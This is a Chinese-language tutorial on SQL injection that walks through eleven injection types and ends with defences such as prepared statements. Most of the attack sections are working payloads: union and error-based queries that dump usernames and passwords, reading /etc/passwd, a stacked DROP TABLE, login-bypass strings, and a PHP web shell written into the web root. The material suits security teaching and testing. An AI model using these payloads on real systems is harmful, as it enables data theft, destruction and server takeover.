从0到1,SQL注入(sql十大注入类型)收藏这一篇就够了,技术解析与实战演练
字数 1607 2025-08-19 12:40:55
SQL注入攻击全面解析与防御指南
一、SQL注入概述
SQL注入是一种常见的网络攻击方式,攻击者利用程序员编写时的疏忽,通过构造特殊的SQL语句,实现无账号登录、篡改数据库甚至获取服务器权限。
MySQL基础知识
-
information_schema数据库:MySQL 5.0后默认添加,包含三个重要表:
schemata:存储所有数据库的库名tables:存储所有数据表的表名columns:存储所有列的列名
-
常用MySQL函数:
version():查询数据库版本user():查询数据库使用者database():当前数据库名load_file():读取本地文件@@datadir:数据库路径ascii(str):返回字符的ASCII值substr(string,start,length):截取字符串concat():连接字符串group_concat():将所有数据用逗号连接
二、SQL注入检测方法
-
基本检测:
- 添加单引号
'、双引号"、括号)等看是否报错 - 在URL后加
and 1=1和and 1=2看页面显示是否不同
- 添加单引号
-
时间盲注检测:
and if(1=1,sleep(5),0)通过页面响应时间判断注入是否成功
-
常见注入点:
- 登录页面
- 获取HTTP头(user-agent/client-ip等)的功能点
- 订单处理等与数据库交互的地方
三、SQL注入分类与技术详解
1. 布尔盲注
条件:页面仅返回True或False,无直接数据回显
常用函数:ascii()、substr()、length()、exists()、concat()
手工注入步骤:
-
判断数据库类型:
and exists(select * from information_schema.tables) # MySQL and exists(select * from msysobjects) # Access and exists(select * from sysobjects) # SQLServer -
判断当前数据库名长度:
and length(database())>5 -
逐字符判断数据库名:
and ascii(substr(database(),1,1))>100 -
判断表名:
and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6 -
判断字段名:
and length((select column_name from information_schema.columns where table_name='users' limit 0,1))>5 -
获取数据:
and ascii(substr((select username from users limit 0,1),1,1))>100
2. Union联合查询注入
条件:页面有数据回显,且两个表的列数相同、数据类型相似
步骤:
-
判断列数:
order by 4-- # 报错则说明列数小于4 -
确定回显位:
union select 1,2,3-- -
获取信息:
union select 1,version(),database()-- union select 1,group_concat(schema_name),3 from information_schema.schemata-- union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'-- union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users'-- union select 1,group_concat(id,'--',username,'--',password),3 from users--
3. 文件读写注入
文件读取:
union select 1,2,load_file("/etc/passwd")--
文件写入:
union select 1,2,'<?php @eval($_POST[cmd]);?>' into outfile '/var/www/html/shell.php'--
权限问题解决:
修改MySQL配置文件my.cnf:
secure_file_priv = ""
然后重启MySQL服务
4. 报错注入
常用函数:updatexml()、extractvalue()、floor()
updatexml示例:
and updatexml(1,concat(0x7e,(select database()),0x7e),3)
获取数据步骤:
- 获取所有数据库:
and updatexml(1,concat('~',substr((select group_concat(schema_name) from information_schema.schemata),1,31)),3) - 获取表名:
and updatexml(1,concat('~',substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,31)),3) - 获取字段名:
and updatexml(1,concat('~',substr((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),1,31)),3)
5. 时间盲注
检测:
and if(1=1,sleep(5),0)
利用:
and if(ascii(substr(database(),1,1))>100,sleep(5),0)
6. 宽字节注入
原理:利用GBK编码特性,使转义符\失效
示例:
id=1%df' and 1=1--
7. 堆叠注入
原理:利用分号;执行多条SQL语句
示例:
id=1';DROP TABLE users;--
8. 二次注入
原理:已存储的用户输入被读取后再次进入SQL查询
过程:
- 注册用户名为
admin'-- - 修改密码时SQL变为:
UPDATE users SET PASSWORD='newpass' where username='admin'-- ' and password='$curr_pass'
9. User-Agent注入
检测:
修改HTTP头中的User-Agent为:
' and extractvalue(1,concat(0x7e,database(),0x7e)) and '1'='1
10. Cookie注入
条件:
- 程序对GET/POST过滤但未过滤Cookie
- 使用
request("xxx")获取数据而未指定方法
11. 万能密码
原理:构造永真条件绕过验证
常见payload:
' or '1'='1
' or 1=1--
admin'--
"or "a"="a
')or('a'='a
四、SQL注入防御措施
-
预编译语句(PreparedStatement):
String sql = "select id, no from user where id=?"; PreparedStatement ps = conn.prepareStatement(sql); ps.setInt(1, id); ps.executeQuery(); -
PDO预处理(PHP):
$data = $db->prepare('SELECT first_name FROM users WHERE user_id = :id'); $data->bindParam(':id', $id, PDO::PARAM_INT); $data->execute(); -
输入过滤:
- 使用正则表达式过滤特殊字符
- 严格限定参数类型和格式
-
权限控制:
- Web应用数据库用户与系统管理员用户严格区分
- 限制Web应用用户对数据库的操作权限
- Web目录不允许有写权限
-
其他措施:
- 关闭错误回显
- 使用Web应用防火墙(WAF)
- 定期更新和修补系统
五、总结
SQL注入攻击形式多样,从简单的布尔盲注到复杂的二次注入,攻击者不断寻找新的利用方式。防御SQL注入需要从代码编写、数据库配置、服务器环境等多方面入手,采用预编译语句、输入过滤、最小权限原则等综合措施,才能有效保护系统安全。